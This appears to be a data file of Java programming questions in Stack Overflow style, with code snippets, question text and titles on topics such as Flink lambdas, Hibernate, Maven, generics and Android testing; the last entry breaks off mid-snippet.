/Users/hasan.guercan/.m2/repository/org/apache/commons/commons-lang3/3.0.1/commons-lang3-3.0.1.jar : /Applications/IntelliJ IDEA.app/Contents/lib/idea_rt.jar '' com.intellij.rt.execution.application.AppMain org.apache.flink.quickstart.exercise2.ReplyGraphException in thread `` main '' org.apache.flink.api.common.functions.InvalidTypesException : The return type of function 'retrieve ( ReplyGraph.java:33 ) ' could not be determined automatically , due to type erasure . You can give type information hints by using the returns ( ... ) method on the result of the transformation call , or by letting your function implement the 'ResultTypeQueryable ' interface . at org.apache.flink.api.java.DataSet.getType ( DataSet.java:178 ) at org.apache.flink.api.java.DataSet.collect ( DataSet.java:407 ) at org.apache.flink.api.java.DataSet.print ( DataSet.java:1605 ) at org.apache.flink.quickstart.exercise2.ReplyGraph.retrieve ( ReplyGraph.java:41 ) at org.apache.flink.quickstart.exercise2.ReplyGraph.main ( ReplyGraph.java:56 ) at sun.reflect.NativeMethodAccessorImpl.invoke0 ( Native Method ) at sun.reflect.NativeMethodAccessorImpl.invoke ( NativeMethodAccessorImpl.java:62 ) at sun.reflect.DelegatingMethodAccessorImpl.invoke ( DelegatingMethodAccessorImpl.java:43 ) at java.lang.reflect.Method.invoke ( Method.java:498 ) at com.intellij.rt.execution.application.AppMain.main ( AppMain.java:147 ) Caused by : org.apache.flink.api.common.functions.InvalidTypesException : The generic type parameters of 'Tuple3 ' are missing . It seems that your compiler has not stored them into the .class file . Currently , only the Eclipse JDT compiler preserves the type information necessary to use the lambdas feature type-safely . See the documentation for more information about how to compile jobs containing lambda expressions . at org.apache.flink.api.java.typeutils.TypeExtractor.validateLambdaGenericParameter ( TypeExtractor.java:1316 ) at org.apache.flink.api.java.typeutils.TypeExtractor.validateLambdaGenericParameters ( TypeExtractor.java:1302 ) at org.apache.flink.api.java.typeutils.TypeExtractor.getUnaryOperatorReturnType ( TypeExtractor.java:346 ) at org.apache.flink.api.java.typeutils.TypeExtractor.getUnaryOperatorReturnType ( TypeExtractor.java:304 ) at org.apache.flink.api.java.typeutils.TypeExtractor.getMapReturnTypes ( TypeExtractor.java:119 ) at org.apache.flink.api.java.DataSet.map ( DataSet.java:215 ) at org.apache.flink.quickstart.exercise2.ReplyGraph.retrieve ( ReplyGraph.java:33 ) ... 6 more DataSet < MailEntry > filteredUserReplyMails = replyMails.filter ( entryTuple - > { String sender = entryTuple.getField ( 1 ) .toString ( ) ; return ! sender.contains ( `` git @ '' ) & & ! sender.contains ( `` jira @ '' ) ; } ) .map ( ( entry - > { MailEntry mailEntry = new MailEntry ( ) ; mailEntry.messageId = entry.f0.replaceAll ( `` < `` , `` '' ) .replaceAll ( `` > '' , `` '' ) ; mailEntry.sender = entry.f1 ; mailEntry.replyTo = entry.f2 ; return mailEntry ; } ) ; DataSet < MailEntry > filteredUserReplyMails = replyMails.filter ( entryTuple - > { String sender = entryTuple.getField ( 1 ) .toString ( ) ; return ! sender.contains ( `` git @ '' ) & & ! sender.contains ( `` jira @ '' ) ; } ) .map ( new MapFunction < Tuple3 < String , String , String > , MailEntry > ( ) { @ Override public MailEntry map ( Tuple3 < String , String , String > entry ) throws Exception { MailEntry mailEntry = new MailEntry ( ) ; mailEntry.messageId = entry.f0.replaceAll ( `` < `` , `` '' ) .replaceAll ( `` > '' , `` '' ) ; mailEntry.sender = entry.f1 ; mailEntry.replyTo = entry.f2 ; return mailEntry ; } } ) ;",Flink does not run my application due to invalidtypesexception when using java8 lambdas +Java,"I 'm looking to create a graph reader program that will take any scanned graph and convert it 's values to a CSV with little effort . The following graph describes the basic control flowI 've got a prototype up and running that fulfills my basic requirements , but before proceeding with developement I want to know the best way to maintain GUI states and substates . Right now I 'm using an enum : The controller has one UIState that can be set by buttons and mouse listeners by calling My OptionsPanel , the panel that contains all buttons and input fields , observes the controller and calls a huge switch if it observes change : The setting of the components is done just by calling setEnabled ( ) on every single one of my buttons and text fields which becomes unclear already with a small amount of components . My mouse listeners also have similar switches in addition to the isLeftMouseButton ( ) and isRightMouseButton ( ) queries which make the whole thing really confusing.My implementation does n't even include substates and even though I 've kinda got it working right now , there already is inconsistency with the setting of the cursor . So my question is : Is there a better solution to maintaining those GUI states and substates and set the UI components status based on user input , especially one that allows for more consistency easier ?","public enum UIState { MAKING_SELECTION , SELECTING_AXIS_POINTS , SETTING_VALUES , SELECTING_GRAPH_POINTS } public void setUiState ( UIState uiState ) { switch ( this.uiState = uiState ) { case MAKING_SELECTION : frame.setCursor ( new Cursor ( Cursor.DEFAULT_CURSOR ) ) ; break ; case SELECTING_AXIS_POINTS : clearSelection ( ) ; frame.setCursor ( new Cursor ( Cursor.CROSSHAIR_CURSOR ) ) ; break ; case SETTING_VALUES : clearSelection ( ) ; break ; case SELECTING_GRAPH_POINTS : frame.setCursor ( new Cursor ( Cursor.CROSSHAIR_CURSOR ) ) ; clearSelection ( ) ; break ; } updateView ( ) ; //Repaints frame setChanged ( ) ; notifyObservers ( uiState ) ; } @ Overridepublic void update ( Observable o , Object arg ) { if ( arg instanceof UIState ) { switch ( ( UIState ) arg ) { case MAKING_SELECTION : //Set component statuses break ; case SELECTING_AXIS_POINTS : //Set component statuses break ; case SETTING_VALUES : //Set component statuses break ; case SELECTING_GRAPH_POINTS : //Set component statuses break ; } } }",Maintain and control GUI states and substates +Java,I 'm getting this error when I 'm trying to redeploy in Netbeans with GlassFish.I 'm not using two web services with the same endpoint URL so I do n't know where this exception is coming from.UPDATE : Also getting the following error : I 'm only getting this error without any other errors or lines explaining why .,SEVERE : WS00034 : Two web services are being deployed with the same endpoint URL SEVERE : Exception while shutting down application container : java.lang.NullPointerException,SEVERE : WS00034 : Two web services are being deployed with the same endpoint URL +Java,"Suppose I have this in Java : The type of the last expression is Class < ? extends List > . I understand why , due to erasure , it can not be Class < ? extends List < String > > . But why ca n't it be Class < ? extends List < ? > > ? Is there no way for me to avoid both unchecked cast warnings and raw type warnings if I want to assign the result of this expression to a variable that somehow keeps the information that this class is actually some kind of List ?",List < String > list = new ArrayList < String > ( ) ; list.getClass ( ) ; Class < ? extends List > listClass = list.getClass ( ) ; // raw type warningClass < ? extends List < ? > > listClass = ( Class < ? extends List < ? > > ) list.getClass ( ) ; // unchecked cast warning,"In Java , how can I avoid raw types when calling getClass on an instance of a generic type ?" +Java,"The question is strictly theoretical but I could n't find an answer . Consider this short program : After execution I get output similar to : The questions are : Why did n't println ( ) completed new line because as I understand it , an error should be thrown when the next rec ( ) call is executed and it is AFTER println ( ) completedWhy do I get only 1024 elements in the stackTrace array but i is equal to 10474 ? Does it mean that not every call is in the stack trace ?",public class SBtst { int i = 0 ; public static void main ( String [ ] args ) { new SBtst ( ) .rec ( ) ; } public void rec ( ) { System.out.println ( `` rec is called `` +i++ ) ; try { rec ( ) ; } catch ( StackOverflowError soe ) { System.out.println ( `` completed `` +soe.getStackTrace ( ) .length ) ; } } } rec is called 10472rec is called 10473rec is called 10474Recursion completed 1024,StackOverflowError during recursive call +Java,"I am migrating my project from Java 8 to Java 9 . My project is mavenised . Now for migrating to Java 9 , I am planning on creating a separate module directory where all the required dependency of a module will go.For doing this through maven the only way I know is to use the copy plugin of maven to copy all the required dependency in the module directory . So after running maven installs for a module , the dependent jars will be copied in repository folder ( which is by default ) and also copied to this module directory folder . So there will be a copy of the jars and also hard coding in pom.xml for copying specific dependency in the module directory . This approach does n't seem to be clean , is there any way out were automatically maven can read my module-info.java file and copy the required dependency not in the classpath but in the specified directoryHere is my pom.xmlmodule-info.javaAfter adding module-info.java to an existing java 10 module and running maven i am getting issue like `` package exist is used in module a and module b '' . What i believe is while running maven it is looking for module dependency in the .m2/repository and there are loads of jar there as the m2./repository is common for my multiple modules . So what i was planning to do is create a separate module directory for each module and place the required jar for that module in it which way it even works .",< project xmlns= '' http : //maven.apache.org/POM/4.0.0 '' xmlns : xsi= '' http : //www.w3.org/2001/XMLSchema-instance '' xsi : schemaLocation= '' http : //maven.apache.org/POM/4.0.0 http : //maven.apache.org/xsd/maven-4.0.0.xsd '' > < modelVersion > 4.0.0 < /modelVersion > < parent > < groupId > com.aa.bb < /groupId > < artifactId > cc < /artifactId > < version > 0.0.1 < /version > < relativePath > ../../pom.xml < /relativePath > < /parent > < artifactId > dd < /artifactId > < name > dd < /name > < groupId > com.aa.cc < /groupId > < version > 1.0.0 < /version > < properties > < maven.compiler.source > 10 < /maven.compiler.source > < maven.compiler.target > 10 < /maven.compiler.target > < /properties > < dependencies > < dependency > < groupId > commons-codec < /groupId > < artifactId > commons-codec < /artifactId > < version > 1.11 < /version > < /dependency > < dependency > < groupId > com.fasterxml.jackson.core < /groupId > < artifactId > jackson-core < /artifactId > < version > $ { jackson.version } < /version > < /dependency > < dependency > < groupId > com.fasterxml.jackson.core < /groupId > < artifactId > jackson-databind < /artifactId > < version > $ { jackson.version } < /version > < /dependency > < dependency > < groupId > com.fasterxml.jackson.core < /groupId > < artifactId > jackson-annotations < /artifactId > < version > $ { jackson.version } < /version > < /dependency > < /dependencies > < build > < plugins > < plugin > < groupId > org.apache.maven.plugins < /groupId > < artifactId > maven-compiler-plugin < /artifactId > < version > 3.7.0 < /version > < configuration > < release > 10 < /release > < compilerArgs > < arg > -- module-path < /arg > < arg > ./moduledir < /arg > < /compilerArgs > < /configuration > < dependencies > < dependency > < groupId > org.ow2.asm < /groupId > < artifactId > asm < /artifactId > < version > 6.2 < /version > < /dependency > < /dependencies > < /plugin > < /plugins > < /build > < /project > module com.some_module_name { requires com.fasterxml.jackson.core ; requires com.fasterxml.jackson.databind ; requires org.apache.commons.codec ; requires spring.beans ; requires spring.context ; },Java 8 to Java 9 migration optimal way for mavenised project +Java,"I have a simple web project based on clojure , that just contains some markdown files in the resources folder . Previously I ran it withand then I viewed the running project in the browser at http : //localhost : port.Now I wanted to integrate this process with jenkins so Icreated a clojure project locally ( in eclipse ) added leiningen support to my jenkins ( add path to leiningen-standalone.jar in config ) added the build step 'build project using leiningen ' in the jenkins job configuse jenkins to checkout from SCM and build the projectBut then , Jenkins always complains about I assumed , jenkins is missing the clojure.jar and it 's not installing it to the .m2 repository , so I added it manually toBut that does n't change anything for the build.How to tell jenkins where to find the clojure.main ? Any hints , what I am missing ?",cd my-projectlein ring server > java -client -XX : +TieredCompilation > -Xbootclasspath/a : /home/.lein/self-installs/clojure-1.8.0.jar > -Dfile.encoding=UTF-8 > -Dmaven.wagon.http.ssl.easy=false > -Dleiningen.original.pwd=/var/lib/jenkins/jobs/my-project/workspace > -cp /home/.lein/self-installs/clojure-1.8.0.jar clojure.main -m leiningen.core.main install > > Error : Could not find or load main class clojure.main > Build step 'Build project using leiningen ' marked build as failure /var/lib/jenkins/.m2/repository/org/clojure/clojure/1.8.0/clojure-1.8.0.jar,Build simple clojure webproject with leiningen and jenkins +Java,"I am getting the exception org.hibernate.PersistentObjectException : detached entity passed to persist . From the numerous posts on this forum and elsewhere , I understand that this happens in two cases ( not considering One-One annotations etc ) , There is an issue with the transaction going out of scope An id is set where it should be automatically generated . I see neither of these happening with my code . I am unable to reproduce the error , because I do n't have the data which initially triggered it . On other data it runs perfectly fine . I have provided an SCCE below : MyImportEJB.java : MyClass.javapersistence.xmlThe exception is thrown on calling entityManager.persist ( mappedObject ) < - MyImportEJB.saveObject < -MyImportEJB.saveObjects . I dont have the line numberI have tried writing a sample program where I get an existingFoo object from the database , update and save it , because that was the most likely source of the error . But I could not reproduce the error . Please help.EDIT : Here are the details of getListofX ( ) as requested from MyProcessor.java : from the file MyImportEJB.java : EDIT : Also added the details of getFoosForWidAndDates ( ) .It was suggested to me that I set the id on a new Foo to null before adding it to the save queue . I would like to know if it is possible that the id is being set `` under the hood '' by Hibernate to an unacceptable value","public class MyProcessor { private MyImportEJB myEJB = MyImportEJB.getInstance ( ) ; private List < MyClass > saveQueue = new ArrayList < MyClass > ( ) ; public void process ( ) { List < X > rawData = getListOfX ( ) ; for ( X x : rawData ) { processX ( ) ; } saveFoos ( saveQueue ) ; } public void saveOrUpdateFoos ( List < Foo > foos ) { for ( MyClass foo : foos ) { MyClass existingFoo = myEJB.getFoosForWidAndDates ( foo.getWid ( ) , foo.getEffBeginDt ( ) , foo.getEffEndDt ( ) ) ; if ( existingFoo == null ) saveQueue.add ( foo ) ; else { existingFoo.updateIfDifferent ( foo ) ; saveQueue.add ( existingFoo ) ; } } if ( saveQueue.size ( ) > 5000 ) { myEJB.saveObjects ( saveQueue ) ; saveQueue.clear ( ) ; } } public void processX ( ) { ArrayList < MyClass > foos = new ArrayList < MyClass > ( ) ; if ( x.reportPeriod ! = null & & x.gravity ! = null ) { MyClass foo = new MyClass ( ) ; foo.setId ( null ) ; foo.setWId ( x.getWid ( ) ) ; foo.setEffBeginDt ( x.reportPeriod ) ; foo.setEffEndDt ( addOneMonth ( x.reportPeriod ) ) ; foo.setGravity ( x.gravity ) ; foos.add ( foo ) ; } saveOrUpdateFoos ( foos ) ; } } @ Stateless @ EJB ( name = `` MyImportEJB '' , beanInterface = MyImportEJB.class ) @ TransactionAttribute ( TransactionAttributeType.SUPPORTS ) @ PermitAllpublic class MyImportEJB { @ Override @ TransactionAttribute ( TransactionAttributeType.REQUIRED ) public void saveObjects ( List < ? extends P > mappedObjects ) { for ( P mappedObject : mappedObjects ) { this.saveObject ( mappedObject ) ; } } @ Override @ TransactionAttribute ( TransactionAttributeType.REQUIRED ) public void saveObject ( P mappedObject ) { EntityManager entityManager = this.getEntityManager ( ) ; Object identifier = this.getEntityManagerFactory ( ) .getPersistenceUnitUtil ( ) .getIdentifier ( mappedObject ) ; if ( identifier ! = null ) { Object existingObject = entityManager.find ( mappedObject.getClass ( ) , identifier ) ; if ( existingObject ! = null ) { entityManager.merge ( mappedObject ) ; return ; } } entityManager.persist ( mappedObject ) ; } public MyClass getFoosForWidAndDates ( Integer wid , Calendar effBeginDt , Calendar effEndDt ) { try { return ( MyClass ) ( ( this.entityManager .createQuery ( `` select M from MyClass M where wid = : wid and effBeginDt = : effBeginDt and effEndDt = : effEndDt `` , MyClass.class ) .setParameter ( `` wid '' , wid ) .setParameter ( `` effBeginDt '' , effBeginDt ) .setParameter ( `` effEndDt '' , effEndDt ) ) .getSingleResult ( ) ) ; } catch ( NoResultException | NonUniqueResultException e ) { return null ; } } } public MyClass { @ Id @ GeneratedValue ( strategy=GenerationType.IDENTITY ) @ Column ( name = `` Id '' ) private Integer id ; @ Column ( name = `` wid '' ) private Integer wId ; @ Column ( name = `` eff_begin_dt '' ) private Calendar effBeginDt ; @ Column ( name = `` eff_end_dt '' ) private Calendar effEndDt ; @ Column ( name = `` gravity '' ) private Double gravity ; private Integer dataDownloadId ; public void updateIfDifferent ( MyClass other ) { if ( other.gravity ! = null & & other.gravity ! = this.gravity ) this.gravity = other.gravity ; //same for effBeginDt andeffEndDt } } < ? xml version= '' 1.0 '' encoding= '' UTF-8 '' ? > < persistence xmlns= '' http : //java.sun.com/xml/ns/persistence '' xmlns : xsi= '' http : //www.w3.org/2001/XMLSchema-instance '' xsi : schemaLocation= '' http : //java.sun.com/xml/ns/persistencehttp : //java.sun.com/xml/ns/persistence/persistence_2_0.xsd '' version= '' 2.0 '' > < persistence-unit name= '' ProdData '' > < description > ProdData Database Persistence Unit < /description > < provider > org.hibernate.ejb.HibernatePersistence < /provider > < jta-data-source > java : jboss/ProdDataJNDI < /jta-data-source > < class > path.to.MyClass < /class > < class > path.to.X < /class > < exclude-unlisted-classes > true < /exclude-unlisted-classes > < properties > < property name= '' hibernate.show_sql '' value= '' false '' / > < /properties > < /persistence-unit > < /persistence > public List < X > getListOfX ( ) { return myImportEJB.getUnprocessedIds ( X.class , 30495 ) ; } @ TransactionAttribute ( TransactionAttributeType.SUPPORTS ) public List < Integer > getUnprocessedIds ( Class < ? extends ProductionRawData > clazz , Integer dataDownloadId ) { String canonicalName = clazz.getCanonicalName ( ) ; String queryStr = `` select id from `` + canonicalName + `` where datadownloadId = : dataDownloadId and isProcessed ! = 1 '' ; TypedQuery < Integer > query = this.entityManager.createQuery ( queryStr , Integer.class ) .setParameter ( `` dataDownloadId '' , dataDownloadId ) ; try { return query.getResultList ( ) ; } catch ( NoResultException nre ) { return new ArrayList < T > ( ) ; } }",Intermittent error org.hibernate.PersistentObjectException : detached entity passed to persist +Java,"I need to read an XML file and comment or uncomment some elements to it based on some conditions.The file starts off like this : If I want to activate element1 , element3 and element5 , the file should look like this : In other words , I 'm looking for a way to add or remove < ! -- -- > tags from each XML line that meets the conditions.Unfortunately , this behavior is needed , and can not be changed .",< elements > < ! -- < element1 atribute= '' value '' / > -- > < ! -- < element2 atribute= '' value '' / > -- > < ! -- < element3 atribute= '' value '' / > -- > < ! -- < element4 atribute= '' value '' / > -- > < ! -- < element5 atribute= '' value '' / > -- > < /elements > < elements > < element1 atribute= '' value '' / > < ! -- < element2 atribute= '' value '' / > -- > < element3 atribute= '' value '' / > < ! -- < element4 atribute= '' value '' / > -- > < element5 atribute= '' value '' / > < /elements >,Manipulate XML comments with JAXB +Java,"I think that I already know the answer to that question , however , I would like to read your opinions to make sure that I really understand how java thread 's state machine ( or diagram ) works.Imagine that Thread A runs the notify ( ) just before return a given value : notify ( ) will be called before Thread A releases the lock ( that will occurs `` after '' the return 11 ; statement ) . So , how could a Thread B , that is waiting for this lock ( via wait ( ) method ) , acquire the lock that is still held by Thread A ? Note that , when thread B is notified the lock has not yet been released by Thread A.So what I think of this situation is the following : After calling wait ( ) , Thread B will change its state from Running to Waiting.After receiving the notification ( from Thread A notify ( ) method ) , Thread B will return from wait ( ) , change its state to Runnable and try to acquire the lock . Since the lock is not yet released by Thread A , Thread B will be blocked on the object 's monitor and pass its state from Runnable to Blocked.Eventually , after Thread A releases the lock , Thread B will acquire the lock and pass its state from Blocked to Running.Is this right ? What I want to understand with this question is what happens to a thread that returns from a wait ( ) which is synchronized by an already acquired lock .",public class baz { // Thread B runs this : public synchronized void bar ( ) { wait ( ) ; } // Thread A runs this : public synchronized int foo ( ) { notify ( ) ; return 11 ; } },"java : If notify ( ) is always called before the lock release , how could a waiting threads acquire this same lock ?" +Java,"I want to verify that a public static void method has been called.sendTrackingEvent will be invoked , and the ConsoleLog.v ( String , String ) will be called . I can see in debug that the static method is called , but the following log appear and the test fail : I 've tried to add the verifyStatic after but same log , and if I remove the first verify , nothing is checked . If I mock the whole ConsoleLog class the error Unfinished stubbing detected here : [ ... ] PowerMockitoCore.doAnswer appear . Does anyone know how to do it properly ?","@ RunWith ( PowerMockRunner.class ) @ PrepareForTest ( { ConsoleLog.class } ) public class AdContentDataUnitTest { @ Before public void setUp ( ) throws Exception { PowerMockito.mockStatic ( ConsoleLog.class ) ; } @ Test public void adContentData_sendTrackingEvent_noUrl ( ) throws Exception { mAdContentData = spy ( mAdContentData ) ; // PowerMockito.doNothing ( ) .when ( ConsoleLog.class ) ; verifyStatic ( ) ; mAdContentData.sendTrackingEvent ( `` event1 '' ) ; //verifyStatic ( ) ; } } Wanted but not invoked com.example.logger.ConsoleLog.v ( `` AdContentData '' , `` sendTrackingEvent : event event1 does not exist . `` ) ;",Verify call to static method +Java,This is the code that I 'm currently using to read files from google drive into the blobstore of google app engine.This works fine for small files but it gives an error if the file is more that ~25MB . Is there a better way to do what I 'm trying to do ? This is the error I seeI should add that returns,"private BlobKey getBlobKey ( File f , DriveObject driveObject ) throws IOException , MalformedURLException { Drive service = ( ( GoogleDrive ) driveObject ) .getService ( ) ; byte [ ] buffer = new byte [ ( int ) f.getFileSize ( ) .intValue ( ) ] ; GenericUrl url = new GenericUrl ( f.getDownloadUrl ( ) ) ; HttpResponse response = service.getRequestFactory ( ) .buildGetRequest ( url ) .execute ( ) ; InputStream is = response.getContent ( ) ; FileService fileService = FileServiceFactory.getFileService ( ) ; AppEngineFile file = null ; boolean lock = true ; try { file = fileService.createNewBlobFile ( `` application/zip '' ) ; FileWriteChannel writeChannel = fileService.openWriteChannel ( file , lock ) ; int len ; while ( ( len = is.read ( buffer ) ) > = 0 ) { ByteBuffer bb = ByteBuffer.wrap ( buffer , 0 , len ) ; writeChannel.write ( bb ) ; } writeChannel.closeFinally ( ) ; } catch ( IOException e ) { // TODO Auto-generated catch block e.printStackTrace ( ) ; } BlobKey bk = fileService.getBlobKey ( file ) ; return bk ; } Uncaught exception from servletcom.google.appengine.api.urlfetch.ResponseTooLargeException : The response from url https : //doc-0o-bs-docs.googleusercontent.com/docs/securesc/97o44sjeam7f23b1flie9m3qqidhrago/97q4akk8bmpub24itqhclo1vakjusu84/1368259200000/14350098165097390874/14350098165097390874/0ByS2XCxCEzq-NUVuajAwWGVoR1U ? h=16653014193614665626 & e=download & gd=true was too large . at com.google.appengine.api.urlfetch.URLFetchServiceImpl.convertApplicationException ( URLFetchServiceImpl.java:132 ) at com.google.appengine.api.urlfetch.URLFetchServiceImpl.fetch ( URLFetchServiceImpl.java:43 ) at com.google.apphosting.utils.security.urlfetch.URLFetchServiceStreamHandler $ Connection.fetchResponse ( URLFetchServiceStreamHandler.java:417 ) at com.google.apphosting.utils.security.urlfetch.URLFetchServiceStreamHandler $ Connection.getInputStream ( URLFetchServiceStreamHandler.java:296 ) at com.google.apphosting.utils.security.urlfetch.URLFetchServiceStreamHandler $ Connection.getResponseCode ( URLFetchServiceStreamHandler.java:149 ) at com.google.api.client.http.javanet.NetHttpResponse. < init > ( NetHttpResponse.java:37 ) at com.google.api.client.http.javanet.NetHttpRequest.execute ( NetHttpRequest.java:95 ) at com.google.api.client.http.HttpRequest.execute ( HttpRequest.java:980 ) Drive service = ( ( GoogleDrive ) driveObject ) .getService ( ) ; new Drive.Builder ( httpTransport , jsonFactory , cred ) .build ( )",How to read large files from google drive into gae blobstore +Java,"Content Assist in Eclipse Juno is appending the Class name of variables to suggestions . For example , if I start to type : and hit Return , Eclipse changes this to : I do n't know if this is specific to Juno or if I accidentally turned this 'feature ' on , but it is really annoying . Any idea how to get rid of this ?",private String firstName private String firstNameString ;,Eclipse Content Assist is Appending Class Name to Variable Suggestions +Java,"I have time stamp as string `` 2013-01-28 11:01:56.9 '' . Here 56.9 seconds are mentioned . .9 seconds = 900 millisecondswe can say it 's 9 deci-seconds or 90 centi-secondsBut in java ... Output is : 1359388916009Here 9 is parsed as 009 milliseconds because `` S '' ( Capital-S ) is used for milliseconds.Similarly if .95 seconds are provided as and parsed with `` SS '' pattern , it gives `` 095 '' milliseconds instead of `` 950 '' milliseconds.Why java does not provide pattern to parse/format deci-seconds and centi-seconds to make things easier ? What is the decent way to do so ?",String string = `` 2013-01-28 11:01:56.9 '' ; String pattern = `` yyyy-MM-dd hh : mm : ss.S '' ; SimpleDateFormat formatter = new SimpleDateFormat ( pattern ) ; Date date = formatter.parse ( string ) ; System.out.println ( date.getTime ( ) ) ;,Deci and Centi Seconds parsing in java +Java,Setup / ProblemI 've create a custom Android module for Titanium to display Gif animations inside Ti . The module source code can be found here : https : //github.com/m1ga/com.miga.gifviewThe actual module is working fine but when I use it with a second module ( with the same problem ) I receive the following error : java.util.zip.ZipException : duplicate entry : org/appcelerator/titanium/gen/bindings.jsonThe problem is inside the gifimageview.jar file : My two modules each have a bindings.json file inside the /gen folder that contains the same information as the bindings/gifview.json . So if I remove it manually in one module I can use both modules ( because there is only one bindings.json now ) .QuestionHow can I advise the compiler not to create this file or change the name ? When I compile the module with ant I see this in the output : There it is creating the bindings.jsonWhat I 've triedAdding to the settings file : https : //github.com/m1ga/com.miga.gifview/blob/master/android/.settings/org.eclipse.jdt.apt.core.prefsdid n't workMy setupjavac -version : javac 1.8.0_91CLI version 5.0.6Titanium SDK version 5.2.2.GAAndroid-23,compile : [ javac ] Compiling 3 source files to /home/miga/dev/ti.gif/android/build/classes [ javac ] warning : [ options ] bootstrap class path not set in conjunction with -source 1.6 [ javac ] Note : [ KrollBindingGen ] Running Kroll binding generator . [ javac ] Note : [ KrollBindingGen ] Succesfully loaded existing binding data : /home/miga/dev/ti.gif/android/build/classes/org/appcelerator/titanium/gen/bindings.json [ javac ] Note : [ KrollBindingGen ] Found binding for proxy GifView [ javac ] Note : [ KrollBindingGen ] Found binding for module Tigifview [ javac ] Note : [ KrollBindingGen ] Generating JSON : file : /home/miga/dev/ti.gif/android/build/classes/org/appcelerator/titanium/gen/bindings.json [ copy ] Copying 1 file to /home/miga/dev/ti.gif/android/build/classes org.eclipse.jdt.apt.processorOptions/kroll.jsonFile=migagifview.json,Duplicate entry : org/appcelerator/titanium/gen/bindings.json in custom Android module +Java,"I took a look on questions q1 , q2 , q3 , but they do n't cover exactly my question.Note that ArrayList < A > and ArrayList < ? extends A > are to be used for declaring a variable or a parameter ( not for creating a new generic class ) .Are both expressions equivalent when declaring an object attribute ( case 1 ) ? : EDIT : Are both expressions equivalent from the point of view of whatkind of objects are allowed to be added to aList ? , but differentin the same sense as the following case ? but they are different when used in a parameter declaration ( case 2 ) ? : because the first one only allows to be passed ArrayList objectswhile the second would be like `` more permissive '' allowing to be sentArrayList < A1 > and ArrayList < A2 > ( as long as A1 and A2 extends A ) ? If this is right , is there any other scenario where the two expressions areeffectively different ? Thanks ,",class Foo { private ArrayList < A > aList ; // == ArrayList < ? extends A > aList ; } void methodFoo ( ArrayList < A > al ) ! = void methodFoo ( ArrayList < ? extends A > al ),What is the practical difference between `` ArrayList < A > '' and `` ArrayList < ? extends A > '' ? +Java,"I searched online for similar question , but could not find it . So , posting here.In the following program why the value of ' i ' is printed as 100 ? AFAIK 'this ' refers to the current object ; which in this case is 'TestChild ' and the class name is also correctly printed . But why the value of the instance variable is not 200 ? And moreover the output of the following is as i expected . The child class method is invoked , when i call `` this.test ( ) '' from Parent class .",public class TestParentChild { public static void main ( String [ ] args ) { new TestChild ( ) .printName ( ) ; } } class TestChild extends TestParent { public int i = 200 ; } class TestParent { public int i = 100 ; public void printName ( ) { System.err.println ( this.getClass ( ) .getName ( ) ) ; System.err.println ( this.i ) ; //Should n't this print 200 } } public class TestParentChild { public static void main ( String [ ] args ) { new TestChild ( ) .printName ( ) ; } } class TestChild extends TestParent { public int i = 200 ; public void test ( ) { System.err.println ( `` Child Class : `` +i ) ; } } class TestParent { public int i = 100 ; public void printName ( ) { System.err.println ( this.getClass ( ) .getName ( ) ) ; System.err.println ( this.i ) ; //Should n't this print 200 this.test ( ) ; } public void test ( ) { System.err.println ( `` Parent Class : `` +i ) ; } },Java Inheritance - this keyword +Java,"I 'm trying to write a construct which allows me to run computations in a given time window . Something like : Here the timeLimited will run expensiveComputation with a timeout of 45 minutes . If it reaches the timeout it returns None , else it wrapped the result into Some.I am looking for a solution which : Is pretty cheap in performance and memory ; Will run the time-limited task in the current thread.Any suggestion ? EDITI understand my original problem has no solution . Say I can create a thread for the calculation ( but I prefer not using a threadpool/executor/dispatcher ) . What 's the fastest , safest and cleanest way to do it ?",def expensiveComputation ( ) : Double = // ... some intensive mathval result : Option [ Double ] = timeLimited ( 45 ) { expensiveComputation ( ) },Computation with time limit +Java,"This is a well-known idiom in Java . See for instance this SO discussion . So basically to define an interface whereby classes that implement it need to have a method to compare with objects of their class you would do : ( Note : that 's apparently an unnecessarily complicated way to solve the particular use case - see this post - but I am inquiring on how to interpret the recursive syntax , never mind the particular application ) . In short , this is a recursive definition with no apparent end in the recursion and I do n't see how the compiler / type system pull this off . Also , trying to put in words ( `` an IComparable is a class whose instances can compare with objects of a class that implements the IComparable interface '' ) yields an illogical circular definition that ca n't be had in Philosophy / Logic / Mathematics but apparently is doable in compiler design ( ! ) .Further , it would seem that if the original idiom syntax is acceptable then one might also be allowed to say : ... but the compiler balks at that apparently allowing only one level of extend.Can anyone shed some light to help me grok this kind of recursive generic definitions ? UPDATEBased on the accepted answer ( BartoszKP ) what I think I now understand is the following : The `` recursive '' definition should NOT be read as ( arrows representing the `` the definition depends on '' relationship ) : ... which is illogical ( circular ) , but rather as : ... which is not illogical and thus doable in the compiler . So , in words , the definition of IComparable is given in terms of the list of methods it defines and the bound it defines on type T and the latter in turn also depends on the list of methods . So , no recursion .",public interface IComparable < T extends IComparable < T > > { public int compare ( T item ) ; } public interface IComparable < T extends IComparable < T extends IComparable < T > > > { public int compare ( T item ) ; } [ IComparable < T > ] -- -- -- - > [ IComparable < T > ] [ IComparable < T > ] -- -- -- -- -- > [ list of methods ( parameterized by T ) ] \ ^ \ | \ -- -- -- - > [ type bound on T ] -- -- -- -/,circular generics : interface IFoo < T extends IFoo < T > > +Java,When I run the following code I get the address of the array : But when I declare a character array and print it the same way it gives me the actual content of the array . Why ?,"int arr [ ] = { 2,5,3 } ; System.out.println ( arr ) ; // [ I @ 3fe993 char ch [ ] = { ' a ' , ' b ' , ' c ' } ; System.out.println ( ch ) ; // abc",Difference between printing char and int arrays in Java +Java,"I have a basic implementation of the Android InputMethodService which I am trying to write unit tests for . My application does not have any Activites , just the implementation of InputMethodService.So far I have a basic implementation of a ServiceTestCase which is working great : SoftKeyboardTest.javaHowever , I would like to test some of the functionality which inserts text into the currently focused EditText using getCurrentInputConnection ( ) : SoftKeyboard.javaObviously in this case I get a NullPointerException due to there not actually being any focused EditText.How can I get my test application to launch my service , somehow focus on an EditText , then launch my test cases so that I can properly test my service methods ?","public class SoftKeyboardTest extends ServiceTestCase < SoftKeyboard > { @ Override protected void setUp ( ) throws Exception { super.setUp ( ) ; bindService ( new Intent ( this.getContext ( ) , SoftKeyboard.class ) ) ; } public void testShowKeyboard ( ) { this.getService ( ) .ShowKeyboard ( ) ; assertTrue ( this.getService ( ) .GetKeyboardIsVisible ( ) ) ; } public void testInsertText ( ) { String text = `` Hello , world '' ; this.getService ( ) .InsertText ( text ) ; assertEquals ( this.getService ( ) .ReadText ( text.length ( ) ) , text ) ; } } public void InsertText ( String sentence ) { getCurrentInputConnection ( ) .commitText ( sentence , 1 ) ; } public void ReadText ( int chars ) { getCurrentInputConnection 